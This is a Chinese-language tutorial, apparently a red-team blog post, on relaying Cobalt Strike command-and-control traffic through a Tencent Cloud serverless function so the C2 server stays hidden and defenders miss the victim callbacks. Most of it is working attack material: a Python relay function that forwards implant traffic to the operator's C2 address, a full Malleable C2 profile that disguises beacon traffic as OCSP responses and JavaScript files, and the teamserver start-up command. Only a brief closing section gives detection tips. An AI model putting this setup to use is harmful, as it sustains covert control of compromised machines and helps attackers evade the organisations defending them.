核心思想

核心思想其实很简单,就是用第三方提供的服务接收 C2 客户端的流量,转发给 C2 服务端,避免直接暴露服务端,也可以用加白的域名混淆视听避免蓝队人员发现攻击和反连行为

1
2
3
4
5
   运行木马                                           收到上线包
┌─────▼─────┐ ┌─────▼─────┐ ┌──────▼───────┐
│ 受害主机 │--发送上线包->│ 国内某公有 |---上线包->│ Cobalt Strike│
│ │<-执行命令----│ 函数转发 │<-执行命令-│ 服务器 |
└───────────┘ └───────────┘ └──────────────┘

第三方服务最好具备以下特点:

  • 国内外访问速度都很快
  • 国外厂商
  • 价格便宜(有钱可以忽略)
  • 主动提供免费加速域名(同上)

云函数配置

首先进入腾讯云创建一个自定义函数,运行环境选 python,将下面的代码复制进函数代码中(记得改 C2 地址为我们自己的 C2 地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# coding: utf8
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
C2='http://c2ip'
if'path'in event.keys():
path=event['path']
if'headers'in event.keys():
headers=event['headers']
if'httpMethod'in event.keys() and event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
except Exception as e:
print('error')
print(e)
finally:
return response

然后进入触发器中创建一个触发器。选择触发器版本为$LATEST,触发方式为API网关触发,开启集成响应。

然后点击 API 服务名进入 API 网关页面进行配置,这里仅修改路径为/就可以,其他配置不用动

然后点击立即完成,发布任务即可

此时我们便可以使用生成的公网域名中的 http 域名进行上线了

C2 配置

接下来我们要编译一个 CS 的 profile 文件,我们要通过这个文件对我们的包内容进行配置来进行收发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
set sample_name "func";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

set uri "/api/x";

client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

CS 还有一个自带的 c2lint 工具可以帮助我们检验 profile 文件的内容是否正确

接下来用命令启动 CS

1
./teamserver ip passwd xxx.profile

设置监听器,这里要注意端口为80,host为我们刚刚在API网关中的地址,注意需要删除前面的http及后面的:80

至于防护思路倒是也蛮简单的:

  • 监测疑似 CS 马的攻击流量,例如请求 /pixel,/__utm.gif,/ga.js 等类似 URL 的流量进行重点监测,或者使用微步在线情报识别 CS 马的外联地址
  • 确认自己资产中是否有某云的云函数的正常业务,没有的话直接把*.apigw.#######cs.com这样的子域名封了就好